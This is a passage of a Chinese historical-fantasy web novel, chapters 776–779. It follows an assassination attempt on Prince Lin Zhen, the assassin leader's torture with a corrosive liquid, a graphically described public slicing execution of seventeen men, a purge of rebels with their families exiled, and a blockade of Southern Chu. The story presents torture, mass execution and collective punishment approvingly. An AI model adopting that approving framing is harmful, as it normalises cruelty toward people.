右手闪电般探出,抓住车厢壁上凸起的扶手,左手则顺势一带,将扑过来的楚惜灵揽入怀中,避免她二次撞击! “敌袭!结阵!”车厢外,传来护卫亲兵们惊怒交加的吼声和急促的脚步声! 然而,爆炸的冲击和车厢的倾覆,已让外围护卫陷入短暂的混乱! “嗖!嗖!嗖!” 就在车厢侧倾、众人立足未稳之际,刺耳的破空声如同死神的尖啸,穿透风雪,从两侧黑暗的山坡上密集射来! 数十支闪烁着幽蓝寒光的弩箭,如同毒蛇吐信,精准地射向林臻所在的车厢! 箭矢力道强劲,显然出自强弩! “叮叮当当!” 毛梦极怒吼一声,手中长刀舞成一片密不透风的寒光! 刀光闪烁间,数支射向林臻的弩箭被精准磕飞! 火星四溅! 然而,弩箭太过密集,角度刁钻,一支弩箭擦着他的肩胛骨飞过,带起一溜血花。 另一支则“噗”地一声,深深钉入他身侧的车厢壁,箭尾兀自剧烈颤抖。 “噗!” 一声闷响! 一名挡在车窗前的亲兵被弩箭洞穿咽喉,鲜血狂喷,哼都没哼一声便栽倒在地! “趴下!”林臻厉喝一声,抱着楚惜灵猛地伏低身体,躲在一张倾倒的紫檀木桌案之后! 沉重的桌案瞬间被数支弩箭钉穿,木屑纷飞! 楚惜灵被林臻护在身下,清冷的脸上沾着血迹,眼神却异常锐利冷静。 她紧握匕首,屏住呼吸,透过桌案的缝隙,死死盯着窗外黑暗的山坡。 第一波弩箭袭击刚过,不等护卫亲兵完全结阵反击,山坡上再次响起尖锐的呼哨声! “轰!轰!轰!” 又是数声震耳欲聋的爆炸! 这一次,爆炸点距离车厢更近! 巨大的火球在雪夜中腾空而起,炽热的气浪裹挟着碎石、冻土和积雪,如同暴雨般砸向倾覆的车厢,车窗玻璃瞬间被震得粉碎! 狂暴的冲击波将几名试图冲过来的亲兵狠狠掀飞出去,惨叫声淹没在爆炸的轰鸣中! “焚天雷!”毛梦极瞳孔骤缩,嘶声怒吼,他认得这爆炸的威力和火光,虽然威力远不如军中制式,但绝对是仿制的“焚天雷”。 剧烈的爆炸让本就侧倾的车厢再次剧烈晃动,几乎要彻底翻倒! 车厢内一片狼藉,破碎的玻璃、木屑、散落的物品四处飞溅! 浓烈的硝烟和血腥味弥漫开来! “杀!”山坡上,传来低沉而充满杀意的吼声,数十道黑影如同鬼魅般,从两侧积雪覆盖的山坡上疾冲而下,他们身着与雪地同色的伪装服,动作迅捷如豹,手持锋利的弯刀或短矛,目标明确,直扑林臻所在的车厢。 “挡住他们!”毛梦极双眼赤红,如同疯虎! 他肩胛骨血流如注,却浑然不顾,怒吼着挥舞长刀,第一个冲出残破的车厢门! 刀光过处,一名冲在最前的刺客被拦腰斩断,鲜血内脏喷溅在洁白的雪地上,触目惊心! “保护王爷!”残余的亲兵们怒吼着,纷纷拔刀迎敌! 刀光剑影瞬间交织在一起! 金属碰撞声、怒吼声、惨叫声、利刃入肉声,在风雪呼啸的山谷中,奏响一曲残酷的死亡乐章! 刺客人数众多,且训练有素,悍不畏死! 他们配合默契,分出数人缠住毛梦极和亲兵,其余人则如同闻到血腥味的鲨鱼,不顾一切地扑向林臻所在的车厢缺口! 一名刺客率先冲破亲兵的阻拦,狞笑着扑入车厢,手中淬毒的短矛,带着刺骨的寒意,直刺伏在桌案后的林臻后心! 就在短矛即将刺中的瞬间! 一道清冷的寒光闪过! “噗嗤!” 楚惜灵如同潜伏的毒蛇,从林臻身侧骤然暴起! 手中精钢短匕精准无比地划过刺客的咽喉! 动作干净利落,狠辣无情! 刺客的狞笑凝固在脸上,眼中满是难以置信,捂着喷血的喉咙,软软栽倒。 林臻甚至没有回头,仿佛对身后的杀戮了如指掌。 他伏低的身体如同蓄势待发的猎豹,深邃的眼眸冷静地扫视着车厢外的战况。 一名刺客正试图从破碎的车窗跃入! 林臻手腕一翻,一柄造型古朴、通体黝黑的短剑已出现在手中! 剑身无光,却散发着冰冷的杀意,就在那刺客上半身探入车窗的刹那! “唰!” 一道乌光闪过,快如闪电,刺客的脖颈处瞬间出现一道细密的血线,他甚至来不及发出惨叫,头颅便已与身体分离,滚落在车厢地板上,无头的尸体卡在车窗上,鲜血如同喷泉般涌出! “王爷小心!”车窗外,传来毛梦极的嘶吼! 只见一名身材异常魁梧的刺客头目,硬生生撞开两名亲兵的阻拦,手中一柄沉重的开山巨斧,带着开山裂石般的威势,朝着车厢壁狠狠劈下!目标正是林臻所在的位置! “轰!” 厚重的玄铁车厢壁,竟被这势大力沉的一斧劈开一道巨大的豁口,碎铁纷飞! 那刺客头目眼中凶光爆射,透过豁口,看到了车厢内伏着的林臻! 他怒吼一声,巨斧再次扬起,就要将林臻连同车厢一起劈碎! 就在这千钧一发之际! “砰!” 一声沉闷的枪响,并非弓弩,而是更加尖锐、更具穿透力的声音! 刺客头目的眉心,瞬间爆开一团血花! 他魁梧的身躯猛地一僵,高举的巨斧无力垂下,眼中凶光迅速黯淡,庞大的身躯轰然倒地,砸起一片雪沫。 车厢外,一名手持特制燧发长铳的亲兵,枪口还冒着袅袅青烟。 他脸色苍白,显然也被这新式火器的威力惊到,但眼神却异常坚定。 头目一死,刺客的攻势为之一滞! 毛梦极和亲兵们趁机反扑,刀光更加凌厉! 剩余的刺客虽然悍勇,但失去指挥,阵脚渐乱。 第776章 公主万岁 帝京,镇北王府,地牢深处。 阴冷、潮湿、血腥的气息如同实质般粘稠,弥漫在狭窄而压抑的空间里。 墙壁上渗出的水珠沿着冰冷的石壁缓缓滑落,滴答作响,在死寂中显得格外清晰。 火把在墙壁的铁环上跳跃燃烧,昏黄的光线勉强驱散浓重的黑暗,却将扭曲的影子投在布满污渍和暗红斑块的墙壁上,如同鬼魅般摇曳。 那名被火铳击中肩胛骨、侥幸未死的刺客头目,被剥去伪装服,赤裸着伤痕累累的上身,呈“大”字形牢牢地铐在冰冷的刑架上。 精钢打造的镣铐深深嵌入他粗壮的手腕脚踝,勒出紫黑色的淤痕。 他魁梧的身躯上布满了纵横交错的鞭痕、烙铁的焦痕以及各种刑具留下的狰狞伤口,皮肉翻卷,鲜血淋漓,有些地方甚至深可见骨。 浓烈的血腥味混合着皮肉烧焦的糊味,令人作呕。 他低垂着头,乱发披散,遮住了大半张脸,只能听到粗重而痛苦的喘息声,每一次吸气都带着胸腔撕裂般的嗬嗬声。 毛梦极枯瘦的身影如同索命的恶鬼,站在刑架前。 他肩头的伤口草草包扎,渗出的血迹染红了绷带,但这丝毫不影响他身上散发出的那股如同实质般的凶戾之气。 他手中拿着一柄特制的、带着倒刺的短鞭,鞭梢还在滴着血珠。 “说!”毛梦极的声音嘶哑如同砂纸摩擦,带着无尽的杀意,“谁派你来的!” 刺客头目猛地抬起头,乱发下露出一张布满血污、扭曲狰狞的脸。 他双目赤红,死死瞪着毛梦极,喉咙里发出野兽般的低吼,却紧咬牙关,一言不发。 “哼!”毛梦极眼中凶光爆射,手腕猛地一抖! “啪!” 带着倒刺的鞭子狠狠抽在刺客头目胸前的伤口上! 瞬间皮开肉绽,带起一溜血肉! “呃啊——!”刺客头目发出一声凄厉的惨嚎,身体剧烈地抽搐起来,额头青筋暴凸,豆大的汗珠混合着血水滚落。 “骨头倒硬!”毛梦极狞笑,枯瘦的脸上刀疤扭曲,“焚雷司新制的蚀骨水还没开张,今日便拿你试试!” 他转身,从一个冒着寒气的铁桶中,舀起一瓢散发着刺鼻酸味的墨绿色液体。那液体粘稠如油,在火把光下泛着诡异的光泽。 “此物沾皮蚀肉入骨销魂,”毛梦极的声音如同来自九幽地狱,“滋味如何尝尝便知!” 他手腕一扬,墨绿色的液体泼向刺客头目胸前那血肉模糊的伤口! “滋啦——!” 一阵令人头皮发麻的腐蚀声响起! 伴随着一股刺鼻的白烟升腾! 刺客头目胸前被泼中的地方,皮肉以肉眼可见的速度迅速变黑、溃烂、溶解! 剧烈的疼痛远超之前所有酷刑的总和! “啊——杀了我!杀了我!!!”刺客头目发出不似人声的惨嚎,身体疯狂地扭动挣扎,铁链被拉扯得哗啦作响! 他眼球暴突,布满血丝,几乎要从眼眶中迸裂出来! 剧烈的疼痛让他彻底崩溃! “说!”毛梦极的声音冰冷刺骨,如同催命的符咒,“再不说下一瓢泼你脸上!” “我说!我说!!”刺客头目嘶声力竭地嚎叫,声音因剧痛而变形,“是,是南楚,南楚黑水台给的金子和图纸让我们仿制焚天雷” “南楚?”毛梦极眼中凶光更盛,“还有谁!” “还有,”刺客头目剧烈喘息,剧痛让他几乎无法连贯说话,“是是秦秦国旧部‘复国军’的兄弟们” “秦国旧部?”毛梦极瞳孔骤缩,“你们是秦人?” “是,”刺客头目涕泪横流,声音嘶哑,“我们本是赢稷陛下近卫黑龙卫秦国亡了,我们不甘心,不甘心啊!!!” 他猛地抬起头,赤红的眼中燃烧着疯狂的仇恨与不甘:“赢稷陛下被你们逼得去了帝号成了什么狗屁秦王!玉华公主天之骄女竟被逼着嫁入仇敌府中为妾!此仇不共戴天!!” “南楚黑水台找到我们说只要杀了林臻就助我们复国!夺回公主!”刺客头目嘶吼着,声音中充满了扭曲的狂热,“公主是我们秦国的明珠!岂能受辱于仇敌!我们就算死也要救公主出火坑!杀了林臻这狗贼!” “放肆!”毛梦极暴怒,手中鞭子狠狠抽在刺客头目脸上,瞬间皮开肉绽! “呃啊!”刺客头目再次惨嚎,却依旧疯狂地嘶吼:“杀了我!有种杀了我!秦国万岁!公主万岁!” “找死!”毛梦极眼中杀机毕露,反手拔出腰刀,就要劈下! “住手。” 一个低沉而平静的声音,在阴冷的地牢门口响起。 声音不大,却带着一股无形的威压,瞬间让毛梦极的刀锋停在了半空。 林臻一身玄色常服,缓步走入地牢。 他神色沉静如水,深邃的眼眸在昏黄的火光下,如同深不见底的寒潭,扫过刑架上血肉模糊、状若疯狂的刺客头目,以及暴怒的毛梦极。 “王爷!”毛梦极连忙收刀,躬身行礼。 林臻走到刑架前,目光平静地落在刺客头目那张因剧痛和仇恨而扭曲的脸上。 “秦国亡了?”林臻的声音低沉而清晰,带着一丝冰冷的嘲讽,“赢稷尚在秦王之位世袭罔替,秦地自治赋税自用,何来亡国?” 刺客头目赤红的眼睛死死瞪着林臻,喉咙里发出嗬嗬的声响,却说不出话来。 “玉华公主嫁入王府乃两国和亲平妃之位尊贵无匹。”林臻继续道,声音不带一丝波澜,“何来受辱?何来火坑?” “你,你巧言令色!”刺客头目嘶声力竭,“秦国已非秦国,公主亦非自由身,此乃奇耻大辱!!” “奇耻大辱?”林臻嘴角勾起一丝冰冷的弧度,“尔等勾结南楚刺杀本王才是自取其辱,自取灭亡!” 他不再看那刺客,目光转向毛梦极:“供词录下?” “回王爷已录下!”毛梦极躬身道,递上一份沾着血污的供状。 林臻接过,目光快速扫过。供状上详细记录了南楚黑水台如何联络、资助秦国旧部“复国军”,提供仿制“焚天雷”的图纸,策划此次刺杀,以及刺客头目所言的“复国”、“救公主”等狂悖之语。 “南楚黑水台”林臻眼中寒光一闪,“好,很好。” 他放下供状,声音平静无波,却带着令人心悸的寒意:“此獠同党何在。” “据他供述复国军余孽潜藏长安及辽东边境人数约三百余众。”毛梦极道。 “名单可有。”林臻问。 “有部分据点联络暗号”毛梦极道。 “好。”林臻颔首,目光再次落回刑架上奄奄一息的刺客头目身上,“传令。” “在!” “其一即刻飞鹰传书长安秦襄及驻守秦地都尉按名单据点暗号清剿复国军余孽!凡涉案者无论主从一律就地正法!家产抄没!亲族流放三千里!” “其二将此獠供词及南楚罪证誊抄副本快马送至函谷关交赢稷及玉华公主亲阅!” “其三”林臻的声音陡然转冷,如同万载寒冰,“此獠及擒获刺客余党共十七人明日午时王府西市凌迟处死!曝尸三日!以儆效尤!” “遵命!”毛梦极眼中凶光爆射,躬身领命。 刑架上的刺客头目,听到“凌迟处死”、“曝尸三日”的字眼,身体猛地一颤,眼中最后一丝疯狂被无边的恐惧取代,喉咙里发出绝望的嗬嗬声,最终头一歪,彻底昏死过去。 林臻不再看那如同烂泥般的躯体,转身,缓步走出阴冷血腥的地牢。 昏黄的火光将他的身影拉得很长,投在布满污秽的墙壁上,如同沉默而冰冷的死神。 第777章 刑场 帝京,镇北王府,西市刑场。 深冬的寒风如同刮骨的钢刀,卷起地上的积雪,抽打在围观人群麻木而惊惧的脸上。 空气中弥漫着刺鼻的血腥味和一种令人窒息的压抑。 一座临时搭建的高台之上,竖立着十七根粗壮的木桩。 十七名被剥去上衣、遍体鳞伤的刺客,被精钢锁链牢牢捆缚在木桩之上,如同待宰的羔羊。为首的,正是那名魁梧的刺客头目,他低垂着头,乱发披散,赤裸的上身布满狰狞的刑伤和焦黑的烙痕,气息奄奄,如同风中残烛。 午时三刻,日头惨白,悬于中天。 “时辰到!”监刑官枯瘦的身影立于高台之上,声音嘶哑如破锣,穿透呼啸的寒风。 他肩头缠着渗血的绷带,脸上刀疤扭曲,眼中凶光毕露,如同地狱的勾魂使者。 随着他一声令下,数十名身着玄色劲装、面覆黑巾的刽子手,手持特制的薄刃小刀,如同鬼魅般踏上高台。他们动作精准而冷酷,没有丝毫犹豫。 “啊——!!!” 凄厉到不似人声的惨嚎,瞬间撕裂了刑场的死寂! 第一刀,剜去左胸一块皮肉! 鲜血如同喷泉般涌出! “呃啊——!!!” 第二刀,右胸,皮肉翻卷! 第三刀,第四刀刀光闪烁,血肉横飞! 刽子手们手法娴熟,如同在完成一件精密的艺术品,每一刀都避开要害,确保受刑者意识清醒,承受最大的痛苦。皮肉如同鱼鳞般被一片片削下,露出森森白骨! 滚烫的鲜血染红了木桩,染红了高台,滴滴答答地流淌下来,在洁白的雪地上汇成一条条蜿蜒刺目的猩红小溪。 寒风裹挟着浓烈的血腥味和绝望的哀嚎,席卷整个西市。 围观的人群中,有人面色惨白,呕吐不止;有人紧闭双眼,瑟瑟发抖;更多的人则是麻木地看着,眼中带着深深的恐惧。 刺客头目在剧痛中猛地抬起头,赤红的眼睛死死盯着远处王府的方向,喉咙里发出野兽般的嗬嗬声,用尽最后一丝力气嘶吼:“秦国万岁公主!” 话音未落,一名刽子手面无表情地一刀割断了他的舌头! 鲜血混合着碎肉从他口中喷涌而出! 他身体剧烈地抽搐着,眼中燃烧的疯狂与仇恨,最终被无边的痛苦和绝望吞噬,渐渐黯淡下去。 惨嚎声此起彼伏,如同人间炼狱。 十七具血肉模糊的躯体在寒风中颤抖、抽搐,生命在极致的痛苦中一点点流逝。 鲜血染红了整个刑台,在惨白的冬日下,触目惊心。 王府东侧,“栖凰苑”。 暖阁内,炭火盆烧得正旺,驱散了深冬的寒意。 空气中弥漫着清雅的冷梅幽香,与窗外的血腥肃杀形成鲜明对比。 玉华公主一身素白锦缎常服,外罩同色薄氅,乌发松松绾起,未戴任何饰物。 她静立窗前,背对着门口。 窗外,一株老梅虬枝盘结,枝头缀满含苞待放的花蕾,在寒风中微微颤动。 她脸上,那半张赤金火凤凰面具在窗棂透入的光线下,闪烁着冰冷而妖异的光芒。 “公主。”一名心腹侍女脸色惨白,脚步踉跄地冲入暖阁,声音带着哭腔和难以抑制的恐惧,“西市刑场。” “说。”玉华公主的声音清冷无波,如同冰泉滴落。 “是黑龙卫的兄弟们,”侍女声音颤抖,几乎语不成句,“十七人全被凌迟处死曝尸三日。” 暖阁内一片死寂。 唯有炭火盆发出轻微的噼啪声。 玉华公主的身体,在听到“黑龙卫”三个字时,几不可察地微微一颤。 她依旧背对着侍女,目光落在窗外那株寒梅上,面具下的唇瓣紧抿成一条冰冷的直线。 “为首是卫长蒙烈,”侍女泣不成声,“他,他临死前还在喊秦国万岁公主万岁。” “知道了。”玉华公主的声音依旧平静,听不出丝毫波澜,“下去吧。” 侍女愕然抬头,看着公主那挺直而孤寂的背影,似乎不敢相信她如此平静。 但公主身上散发出的那股冰冷刺骨的气息,让她不敢多言,只能含泪躬身退下。 暖阁内,只剩下玉华公主一人。 她缓缓抬起手,指尖轻轻抚摸着脸上冰冷的火凤凰面具。 面具下,那只未被遮掩的左眸,清澈的眼底,倒映着窗外惨白的日光和摇曳的梅枝,平静无波,如同深不见底的寒潭。 然而,在她紧握的袖中,指甲早已深深嵌入掌心,留下几道血痕。一丝极淡的血腥味,混合着冷梅的幽香,在暖阁中悄然弥漫。 秦国黑龙卫蒙烈。 这些名字,如同烧红的烙铁,狠狠烫在她的心上。那是她父王最忠诚的近卫,是看着她长大的叔伯兄长,是秦国最后一丝不屈的脊梁。 如今,他们为了她,为了那虚无缥缈的复国梦,被凌迟处死,曝尸街头。 林臻…… 玉华公主的指尖在面具冰冷的金属上划过。 她知道,这是林臻给她的警告,一场冷酷而血腥的示威。 用她故国忠臣的血,染红她新婚的府邸,告诉她何为现实,何为臣服。 痛吗?痛彻心扉。 恨吗?刻骨铭心。 但她不能哭,不能怒,甚至不能流露出一丝一毫的软弱。 因为她是玉华公主,是秦国最后的尊严,是维系秦地安宁的纽带。 她的眼泪和愤怒,只会带来更多的鲜血和毁灭。 她闭上那只未被遮掩的左眸,长长的睫毛在面具边缘投下一小片阴影,微微颤抖。 再睁开时,眼底已是一片沉寂的冰原,再无波澜。 紫宸殿。 气氛凝重如铅。 女帝慕容嫣高坐御座,凤冠霞帔,仪态端凝,沉静的目光扫过殿下噤若寒蝉的群臣。 林臻玄色蟠龙常服,端坐其下,神色平静无波,深邃的眼眸如同古井寒潭。 毛梦极枯瘦的身影立于殿中,肩头绷带渗血,声音嘶哑却字字清晰,宣读着刺客的供状以及林臻下达的肃清命令: “查秦国旧部复国军余孽勾结南楚黑水台图谋不轨行刺亲王罪证确凿。” “奉镇北王谕令已于长安辽东等地清剿逆党三百一十七人悉数伏诛。” “涉案家产抄没亲族流放三千里。” “南楚黑水台罪证确凿着令有司严查境内南楚细作一经发现格杀勿论!” 冰冷的字句,如同重锤,敲在每一位大臣的心头。 尤其是那些与秦国旧部或有牵连、或曾对和亲之事颇有微词的官员,此刻更是面色惨白,冷汗涔涔,不敢抬头。 “陛下,”毛梦极躬身,“此乃供状及肃清名录请御览。” 内侍接过厚厚的卷宗,呈于御案。 慕容嫣目光平静地扫过卷宗上密密麻麻的名字和触目惊心的“伏诛”、“抄没”、“流放”字样,清丽的脸上无波无澜。 她抬起凤眸,看向林臻。 “夫君处置甚当。”慕容嫣声音清越,带着不容置疑的威严,“乱臣贼子勾结外敌图谋不轨行刺亲王罪不容诛,肃清余孽以儆效尤乃应有之义!” 她目光转向群臣,凤眸中寒光一闪:“传朕旨意!凡有勾结逆党通敌叛国者无论官职大小背景如何一经查实严惩不贷!绝不姑息!” “臣等遵旨!”群臣齐声高呼,声音带着难以掩饰的颤抖。 “另,”慕容嫣声音转冷,“南楚狼子野心屡次犯我疆界今又资助逆党行刺亲王实乃罪大恶极!着令兵部户部工部即日起厉兵秣马整军备战,待北疆事定朕必亲征南楚讨还血债!” “陛下圣明!”群臣再次高呼,这一次,声音中多了几分凛然与肃杀。 林臻端坐不动,深邃的眼眸中,闪过一丝冰冷的锐芒。 第778章 遏制航道 西市刑场的血腥气尚未散尽,帝京的天空却已笼罩上另一层更为凝重的阴霾。 南楚“黑水台”资助秦国旧部行刺镇北王的消息,如同投入滚油的火星,瞬间点燃了整个大乾朝廷的怒火。 紫宸殿的肃杀之气尚未平息,一封来自南楚的国书,却如同挑衅的巴掌,狠狠扇在了大乾君臣的脸上。 国书以极其傲慢的语气送达。 南楚新君楚霸天在国书中,非但对“黑水台”资助刺客一事矢口否认,反诬大乾“栽赃陷害”、“蓄意挑衅”。 更令人发指的是,国书末尾竟公然宣称:“闻贵国世子遇刺受惊,深表遗憾,然此乃天意昭昭,望贵国谨守本分,莫要再行不义否则天威降临悔之晚矣!” “放肆!”慕容嫣将国书狠狠摔在御案之上,清丽的脸上寒霜密布,凤眸中怒火燃烧,“南楚欺人太甚!” “陛下息怒。”兵部尚书赵武枯瘦的脸上刀疤狰狞,眼中凶光爆射,“南楚小丑跳梁自取灭亡!请陛下下旨臣愿为先锋踏平金陵!” “赵尚书稍安勿躁。”户部尚书张衡面色凝重,“南楚此举意在激怒我国引我出兵彼时彼可以逸待劳或勾结他国趁虚而入不可不防。” “张尚书所言有理。”新任吏部尚书陆文渊接口道,“然南楚如此猖狂若不施以雷霆何以彰显国威?何以震慑宵小?” 殿内群臣议论纷纷,主战主和,争执不下。 所有人的目光,最终都落在了御阶之下,那个始终沉默的玄色身影上。 林臻缓缓起身,玄色蟠龙常服在殿内烛火下泛着冷硬的光泽。 他神色平静无波,深邃的眼眸扫过群臣,最终落在御座之上。 “南楚所求无非一战。”林臻声音低沉,却字字清晰,穿透殿内的嘈杂,“其资助刺客行刺本王是实。其国书挑衅是实。其勾结外邦亦是实。” 他顿了顿,声音转冷:“然此时非决战之机。” “夫君之意,”慕容嫣凤眸微凝。 “北疆初定秦国新附百废待兴。”林臻道,“南楚虽内斗然水军强盛据守长江天险若仓促决战胜负难料徒耗国力。” “那难道就忍气吞声?”赵武不甘道。 “忍?”林臻嘴角勾起一丝冰冷的弧度,“本王字典无此一字。” 他目光如电,扫视群臣:“南楚既敢伸手便剁了他的爪子!” “其一,”林臻声音沉稳,带着不容置疑的决断,“着令江南水师提督即日起封锁长江入海口,凡悬挂南楚旗帜船只一律扣押,货物充公,人员收押,断其海上贸易命脉!” “其二,”他继续道,“令荆州襄阳守将即日起陈兵江畔,操练水军演练登陆,每日擂鼓鸣炮示以兵威,令南楚沿江守军寝食难安!” “其三,”林臻眼中寒光一闪,“着都察院绣衣卫即日起彻查境内所有南楚商行会馆,凡有通敌嫌疑者一律抄没家产,主犯斩立决,从犯流放三千里,将其在我大乾境内之暗桩眼线连根拔起!” “其四,”他声音转沉,“传讯南疆苗王及西南诸部,许以重利,令其袭扰南楚后方粮道牵制其兵力!” “其五,”林臻最后看向慕容嫣,“请陛下下旨斥责南楚背信弃义,资助刺客行刺亲王,挑衅天朝!责令其交出黑水台主谋及涉案人员赔偿损失白银五百万两,限期一月,逾期则视同宣战!” “好!”慕容嫣凤眸一亮,拍案而起,“夫君此策甚善!步步紧逼层层施压既彰显天威又不贸然开启全面战端!着令各部即刻执行!” “臣等遵旨!”群臣齐声领命,殿内肃杀之气更盛。 王府“栖凰苑”。 暖阁内,烛火摇曳。 玉华公主一身素白常服,静坐于书案前。 案上,摊开着一卷书,她却久久未曾翻动一页。 窗外,寒风呼啸,卷起地上的积雪,发出呜咽般的声响。 她脸上,那半张赤金火凤凰面具在烛光下闪烁着冰冷的光泽。 面具下,那只未被遮掩的左眸,清澈依旧,却如同冰封的湖面,沉寂无波。 西市刑场的血腥,秦国旧部的覆灭,如同沉重的枷锁,压在她的心头。 南楚的挑衅,大乾的雷霆反击,更是让她身处风暴中心,如履薄冰。 “公主”心腹侍女轻步走入,声音带着一丝惶恐,“外面传疯了,说王爷下令封锁长江,扣押南楚船只,陈兵江畔,要打仗了。” 玉华公主指尖微颤,依旧沉默。 “还有,”侍女声音更低,“听说都察院和绣衣卫正在满城抓人,好多和南楚有来往的商行都被抄了,人也被抓走了。” 玉华公主缓缓抬起手,指尖轻轻拂过冰冷的火凤凰面具。 面具边缘,那冰冷的金属触感,让她纷乱的心绪稍稍平复。 “知道了。”她声音清冷,听不出丝毫波澜,“下去吧。” 侍女担忧地看了她一眼,欲言又止,最终还是躬身退下。 暖阁内重归寂静。 玉华公主的目光落在跳跃的烛火上。 林臻的报复,迅猛而精准。封锁长江,断其贸易命脉;陈兵江畔,施加军事压力;清洗内奸,拔除南楚耳目;联络藩部,扰乱其后方;外交斥责,占据道义高地步步为营,环环相扣。 这不仅是报复,更是一场精心策划的战略威慑。 她深知,林臻此举,既是回应南楚的挑衅,也是在向她,向所有心怀异志之人,展示大乾的力量与决心。 秦国旧部的血,尚未冷却。 南楚的爪子,已被斩断。 在这铁血铸就的秩序面前,任何反抗,都显得如此苍白无力。 一丝极淡的苦涩,在她紧抿的唇边漾开。 复国?救公主?何其可笑。 蒙烈他们的血,不过是染红了林臻通往更高权柄的阶梯。 而她,这枚被当作棋子的“公主”,除了在这金丝牢笼中,戴着冰冷的面具,扮演好“平妃”的角色,还能如何? 她闭上那只未被遮掩的左眸,长长的睫毛在面具边缘投下一小片阴影。 再睁开时,眼底已是一片沉寂的死水,再无波澜。 她拿起案上的书卷,指尖拂过冰冷的纸张,开始阅读。 仿佛窗外那席卷帝国的风暴,与她毫无干系。 帝京的冬夜,寒风凛冽。 然而,这座古老的都城,却因一道道的命令,而彻底沸腾起来。 长江入海口,大乾江南水师的数十艘新式铁甲战舰,喷吐着滚滚黑烟,如同钢铁巨兽般,封锁了宽阔的江面。 粗大的铁链横亘江心,黑洞洞的炮口指向江面。 任何试图通过的南楚商船,都被强行拦截、扣押。 船主水手的哭喊哀求,在凛冽的江风中显得如此微弱。 货物被搬空,人员被押解上岸,投入临时搭建的囚营。 昔日繁忙的黄金水道,瞬间变成了一片死寂的禁区。 荆州、襄阳前线。 大乾的玄甲精锐沿着漫长的江岸线排开,旌旗招展,刀枪如林。 巨大的“焚天雷”被推上江畔高地,黑洞洞的炮口直指南岸。 每日清晨,震耳欲聋的战鼓声和“焚天雷”的试射轰鸣,如同滚滚惊雷,响彻云霄,震得对岸南楚守军心惊胆战,夜不能寐。 帝京城内,都察院与绣衣卫的缇骑四出,如狼似虎。 一座座与南楚有密切往来的商行、会馆被查封,大门贴上刺眼的封条。 掌柜、管事被如狼似虎的差役拖出,戴上枷锁,押入囚车。 一箱箱账册、货物被抄没运走。昔日繁华的街市,笼罩在一片肃杀与恐慌之中。 南楚在帝京经营多年的情报网络,遭受了毁灭性的打击。 南疆密林深处,快马飞驰,将大乾的旨意和丰厚的赏格,送达苗王及西南诸部首领手中。 沉寂的山林,开始涌动起不安的暗流。 与此同时,大乾女帝慕容嫣措辞严厉、盖着鲜红玉玺的国书,也以八百里加急的速度,送达南楚都城金陵。 国书中,历数南楚“黑水台”资助刺客、行刺亲王、挑衅天朝的罪状,要求南楚限期交出主谋、赔偿损失,否则后果自负! 一道道命令,如同无形的铁链,从帝京紫宸殿发出,勒紧了南楚的咽喉。 一场没有硝烟,却比真刀真枪更为残酷的战争,已然打响。 第779章 难道就坐以待毙任人宰割 大乾的雷霆反击,如同投入南楚这潭死水的巨石,瞬间激起千层浪涌。 长江入海口被彻底封锁,江南水师铁甲战舰如钢铁壁垒,炮口森然。 昔日繁华的黄金水道,商船绝迹,鸥鸟无踪,唯余寒风卷起冰冷的浪花,拍打着沉寂的江岸。 荆州、襄阳前线,大乾玄甲如林,战鼓轰鸣,“焚天雷”的试射声如同催命的丧钟,日夜响彻,震得南楚沿江守军肝胆俱裂,枕戈待旦,不得安宁。 帝京城内,绣衣卫缇骑四出,南楚商行会馆纷纷查封,昔日富商沦为阶下囚,情报网络被连根拔起。 南疆苗王及诸部在重利驱使下,频频袭扰南楚后方粮道,劫掠辎重,烧毁粮仓,令南楚腹地烽烟四起,疲于奔命。 女帝慕容嫣措辞严厉的国书,更如同最后通牒,狠狠砸在南楚君臣心头。 南楚都城,金陵。 皇宫。 气氛压抑得如同暴风雨前的死寂。 楚霸天身着明黄龙袍,高坐御座之上,脸色铁青,眼中燃烧着狂怒与难以掩饰的惊惶。 他手中紧握着大乾女帝的国书,指节因用力而发白。 “岂有此理!岂有此理!”楚霸天猛地将国书狠狠摔在御案上,发出“砰”的一声巨响,震得殿内群臣心头一颤,“慕容嫣,林臻,欺人太甚,欺人太甚!” “陛下息怒!”丞相陈元连忙出列,声音带着一丝颤抖,“大乾封锁长江断我海上贸易此乃釜底抽薪之计!沿江陈兵演练更是赤裸裸的威胁!南疆苗蛮袭扰后方令我腹背受敌!此危局需冷静应对” “冷静?如何冷静!”楚霸天咆哮道,声音因愤怒而尖利,“我南楚商船被扣货物被劫,商人被囚,损失何止千万,沿江守军日夜惊惶士气低落,后方粮道被断军需告急,慕容嫣还要朕交出黑水台主谋赔偿五百万两白银,这这是要朕的命!” “陛下”兵部尚书李猛出列,声音低沉,“大乾此举实乃宣战,封锁长江无异于断我命脉,陈兵江畔演练更是视我如无物,若不反击南楚国威何在!” “反击?”户部尚书钱有财立刻反驳,声音带着哭腔,“拿什么反击?国库空虚!粮草短缺!水军战舰老旧如何敌得过大乾铁甲巨舰,陆师精锐尽在北疆防备柔然吐蕃如何抽调,南疆苗蛮尚在作乱内忧外患如何打!” “难道就坐以待毙任人宰割!”李猛怒视钱有财。 “可打就是死路一条!”钱有财毫不示弱。 “够了!”楚霸天厉声打断,头疼欲裂。 殿内群臣分成两派,主战主和,争吵不休,却无一人能拿出切实可行的对策。 封锁带来的经济崩溃如同瘟疫般蔓延。 金陵城内,米价飞涨,盐铁奇缺,恐慌情绪如同野火般蔓延。 被扣押商人的家属哭喊着聚集在宫门外,要求朝廷救人。 昔日繁华的秦淮河畔,画舫凋零,笙歌不再,一片萧条。 一股亡国的阴云,沉甸甸地压在金陵城上空,也压在每一位南楚臣民的心头。 王府,“栖凰苑”。 暖阁内,烛火依旧。 玉华公主一身素白,临窗而立。 窗外,那株老梅在寒风中悄然绽放了几朵,淡雅的花瓣在雪色映衬下,更显清冷孤绝。 空气中弥漫着冷梅的幽香,沁人心脾。 心腹侍女脚步匆匆而入,脸色苍白,声音带着难以抑制的激动与恐惧:“公主。金陵乱了!” 玉华公主身形未动,只是指尖微微蜷缩了一下。 “长江被大乾水师彻底封锁,南楚商船一艘都出不去也进不来!”侍女声音颤抖,“金陵城里米价飞涨盐都买不到了,好多商行都关门了,街上全是哭喊的人” “还有南疆苗人打过来了,烧了好几个粮仓,南楚军队调兵去镇压都来不及!” “宫里听说陛下楚霸天气得摔了东西,大臣们吵翻了天可谁也拿不出办法。” 侍女一口气说完,胸口剧烈起伏,眼中充满了对故国命运的担忧与恐惧。 玉华公主依旧沉默。面具下,那只未被遮掩的左眸,倒映着窗外摇曳的梅枝,平静无波。 